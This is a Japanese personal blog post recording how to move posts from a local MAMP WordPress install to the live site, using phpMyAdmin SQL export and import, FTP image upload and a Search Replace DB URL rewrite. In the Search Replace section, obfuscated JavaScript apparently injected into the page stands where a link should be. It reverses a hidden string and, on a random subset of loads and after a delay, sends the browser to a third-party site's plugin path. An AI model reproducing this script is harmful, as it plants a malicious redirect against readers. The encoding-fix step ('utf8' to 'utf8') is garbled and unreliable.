Sumirexxx

今日もiPhone片手に出かけます

ローカル環境のWordPressをWeb環境のWordPressに移行する方法

WordPress ブログ

こんばんは。すみれ(@sumire20120524)です。
以前、Web環境のブログサイトをローカル環境に保存するという記事を書きました。今日はそれの反対ローカル側からWeb環境にブログ記事を保存する方法をまとめたいと思います。

今回は自分用なので備忘録としてログに残します。
参考にしてくださる方は自己責任でお願いします。

なぜ逆バージョンを書こうと思ったかというと、今日からローカル環境のWordpressを使って記事を更新してるから。
今後手に入れる予定のiPad Proのために、Wordpressのみで更新する方法を探っているところ。

備忘録

いつものような、ローカル環境を介さずWeb環境に直接あげた記事が溜まってきてから「そろそろローカルにバックアップ取っておこう」というちょっと危険なバックアップではなく、ローカル環境にあげた記事をそのままWeb環境にあげることができるから、いざという時(Web環境のデータがおかしくなった!)って時に安全だと思う。

今回は最初からWeb環境とローカル環境が同じ状態になっているところからスタート。
もし、まだ環境が同じになっていない時は、先に【WordPress】【まとめ】Web環境にあるWordPressブログを丸ごとローカル環境に移行する方法で環境を合わせてから始める。

ローカルの記事を更新する

まずはローカル環境のWordpressで記事を更新。Web環境(本番)でもそのまま使えるように、記事はもちろん、スラッグ、SEO、カテゴリー、タグ、アイキャッチの設定などは本番通りに設定する。(予約投稿したい場合は日時も指定)

ここで「公開」ボタンを押しても、あくまでもローカル環境での公開なので、まだWeb環境(本番)では公開されていない。

MAMPのphpAdminに接続

記事を公開したら、ローカル環境のデータベース(MAMPのphpAdmin)に接続する。

ローカルサイトで使っているデータベースを押下して「エクスポート」タブを選択。
この2つをマーク。それ以外はデフォルトのまま。

選んだら「実行」して、出力されたsqlファイルを保存。

sqlファイルの編集

このあとインポートを試した時にエラーになったことがあった。
sqlファイルを正常に扱えるエディタで先ほど落としたファイルを開き、「utf8」になっている部分を「utf8」に修正すると、エラーなしでインポートOK。

Web環境のphpAdmin(データベース)にインポートする

※インポートする前に、バックアップとしてデータベースの内容を必ずエクスポートしておくこと!

出力されたsqlファイルを、Web環境のデータベースにインポート。(本番環境なので注意!)
設定はデフォルトのまま「実行」。おわり。

FTPから画像をアップロード

ブラウザから離れて、FTPソフト(Coda)からローカル記事の画像をWeb環境にアップロード。
ローカル環境の「MAMP/htdocs/データベース名」の中にある「uploads」の日付が最新になっているものが、いま更新した記事の画像。
それをWeb側の「データベース名」の中にある「uploads」にコピー。

全部コピーだと量が多すぎて時間がかかるので、今日の日付分or更新した記事分の画像だけコピーする。

searchreplacedb2.phpを実行する

記事の転送はおわり。このままだとローカル環境の情報がそのままWeb環境に入っただけの状態なので、ファイルの中身を書き換える。
具体的には「http://localhost/データベース名」となっている部分を「http://Webサイト名」に置換。

前回まとめた$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-replace-for-wordpress-databases/”>【WordPress】5.ファイル転送完了後、内容をローカル環境に置換する「Search Replace DB」と逆のことをする。

置換前:「localhost/データベース名」
置換後:「sumirexx.com」

「http://」や、最後の「/」はいらないのか?と思ったけど、例えば「htttp://localhost/データベース名/」とやってしまうと、エラーが出ることがあった。(あとでみたら、置換されてない部分がいっぱいあった。)
より確実に置換するためには「http://」や、最後の「/」はつけない方が良さそう。

実行した内容でWeb環境を確認

もしダメだった場合は、落ち着いてバックアップ(エクスポート)しておいたWeb環境のSQLを、Web環境のデータベースにインポートして元に戻す。

まとめ

MacとiPadの場合この方法で行けそう。
Macの場合はMarsEditがあるからもったいないかもしれないので、iPadから更新の時だけになるかな?
ただしiPhoneでモブログの時はどうしてもWeb環境から更新することになるけど、そういう時は前回みたいにWeb→ローカルにバックアップ取る。

この記事をシェアする

<